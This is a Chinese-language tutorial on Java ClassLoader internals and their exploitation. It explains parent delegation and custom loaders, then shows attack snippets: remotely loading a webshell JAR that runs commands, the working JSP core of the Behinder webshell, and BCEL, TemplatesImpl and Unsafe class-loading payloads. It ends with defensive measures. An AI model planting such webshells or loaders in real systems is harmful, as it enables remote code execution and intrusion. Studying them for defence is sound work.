JAVA安全 | Classloader:理解与利用一篇就够了
字数 1593 2025-08-20 18:18:16
Java ClassLoader 深入理解与安全利用
前言
ClassLoader 是 Java 安全研究中基础且核心的部分。本文将全面讲解 ClassLoader 的工作原理、不同类型 ClassLoader 的特点,以及如何利用 ClassLoader 机制进行安全攻击和防御。
Java 类与 Class 文件基础
Java 源代码编译后会生成 .class 文件,这是 JVM 可执行的字节码文件。例如:
public class Heihu577 {
public static void main(String[] args){
System.out.println("Hello World");
}
}
编译和执行过程:
javac Heihu577.java // 生成 Heihu577.class
java Heihu577 // 执行 main 方法
查看字节码:
javap -c -p -l Heihu577.class
Java 类加载器体系
类加载器类型
Java 有三个核心类加载器:
-
Bootstrap ClassLoader:
- 最顶层的加载器,加载核心类库(%JRE_HOME%/lib 下的 rt.jar、resources.jar 等)
- 由 C/C++ 实现,Java 中无法直接引用,返回 null
- 可通过
System.getProperty("sun.boot.class.path")查看加载路径
-
Extension ClassLoader (ExtClassLoader):
- 加载 %JRE_HOME%/lib/ext 目录下的 jar 包
- 可通过
System.getProperty("java.ext.dirs")查看路径 - 可使用
-Djava.ext.dirs参数修改扫描路径
-
Application ClassLoader (AppClassLoader):
- 加载 CLASSPATH 下的类
- 可通过
System.getProperty("java.class.path")查看路径 - 父加载器是 ExtClassLoader
双亲委派机制
类加载流程遵循双亲委派模式:
- 类加载器首先检查是否已加载该类
- 未加载则委托父加载器尝试加载
- 父加载器无法加载时,才由自己加载
优点:
- 防止核心类被篡改
- 避免类重复加载
打破双亲委派:
- 重写
loadClass()方法可打破双亲委派机制
URLClassLoader 详解
URLClassLoader 是 ExtClassLoader 和 AppClassLoader 的父类,可以从指定 URL 加载类和资源。
基本使用
File file = new File("D:/MyJarTest.jar");
URL[] urls = new URL[]{file.toURL()};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
Object o = clazz.newInstance();
Method hi = clazz.getMethod("hi");
hi.invoke(o);
远程加载 WebShell
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD");
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");
自定义 ClassLoader
实现步骤
- 继承 ClassLoader 抽象类
- 重写
findClass()方法 - 在
findClass()中调用defineClass()
示例:
public class CustomClassLoader extends ClassLoader {
private String baseUrl;
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] b = loadClassData(name);
if (b == null) throw new ClassNotFoundException();
return defineClass(name, b, 0, b.length);
}
private byte[] loadClassData(String name) {
// 从文件系统加载类字节码
}
}
类加密与解密
使用异或+Base64加密类文件:
public static byte[] Byte2Base64(byte[] data, int v) {
// 异或加密后Base64
}
public static byte[] Base642Byte(byte[] base64, int v) {
// Base64解码后异或解密
}
冰蝎 WebShell 分析
冰蝎 WebShell 核心逻辑:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader {
U(ClassLoader c) { super(c); }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader())
.g(c.doFinal(new sun.misc.BASE64Decoder()
.decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
}
%>
BCEL ClassLoader 利用
基本使用
JavaClass javaclass = Repository.lookupClass(Calc.class);
String calcEncode = Utility.encode(javaclass.getBytes(), true);
String payload = "
$$
BCEL
$$
" + calcEncode;
Class<?> clazz = new ClassLoader().loadClass(payload);
clazz.newInstance(); // 触发静态代码块
代码审计利用点
当遇到 Class.forName(可控,true,可控) 时可能触发漏洞:
Class.forName(payload, true,
(ClassLoader) "".getClass()
.forName("com.sun.org.apache.bcel.internal.util.ClassLoader")
.newInstance());
Xalan ClassLoader (TemplatesImpl)
利用链分析
TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置_bytecodes、_name、_tfactory等字段
templates.newTransformer(); // 触发恶意类加载
恶意类要求
必须继承 AbstractTranslet:
public class Evil extends AbstractTranslet {
static { /* 恶意代码 */ }
public void transform(DOM document, SerializationHandler[] handlers) {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
Unsafe 类利用
获取 Unsafe 实例
// 方法1:反射构造方法
Constructor<?> c = Unsafe.class.getDeclaredConstructor();
c.setAccessible(true);
Unsafe unsafe = (Unsafe)c.newInstance();
// 方法2:反射theUnsafe字段
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe)f.get(null);
关键方法
defineClass:
unsafe.defineClass("Evil", bytecode, 0, bytecode.length,
ClassLoader.getSystemClassLoader(), new ProtectionDomain(...));
defineAnonymousClass:
Class<?> clazz = unsafe.defineAnonymousClass(Class.class, bytecode, null);
clazz.newInstance();
allocateInstance:
// 绕过构造方法创建实例
Object obj = unsafe.allocateInstance(Evil.class);
防御措施
- 禁止不受信任的代码动态加载类
- 严格控制 ClassLoader 的使用权限
- 更新 JDK 版本(如 Java 8u251+ 移除 BCEL)
- 对反序列化操作进行严格过滤
- 使用 SecurityManager 限制敏感操作
总结
ClassLoader 机制是 Java 安全的核心基础,理解其工作原理对于安全研究和防御至关重要。从基本的类加载过程到高级的利用技巧,本文涵盖了 ClassLoader 的主要知识点和安全考虑。在实际应用中,应当谨慎使用动态类加载功能,并采取适当的安全措施防止恶意利用。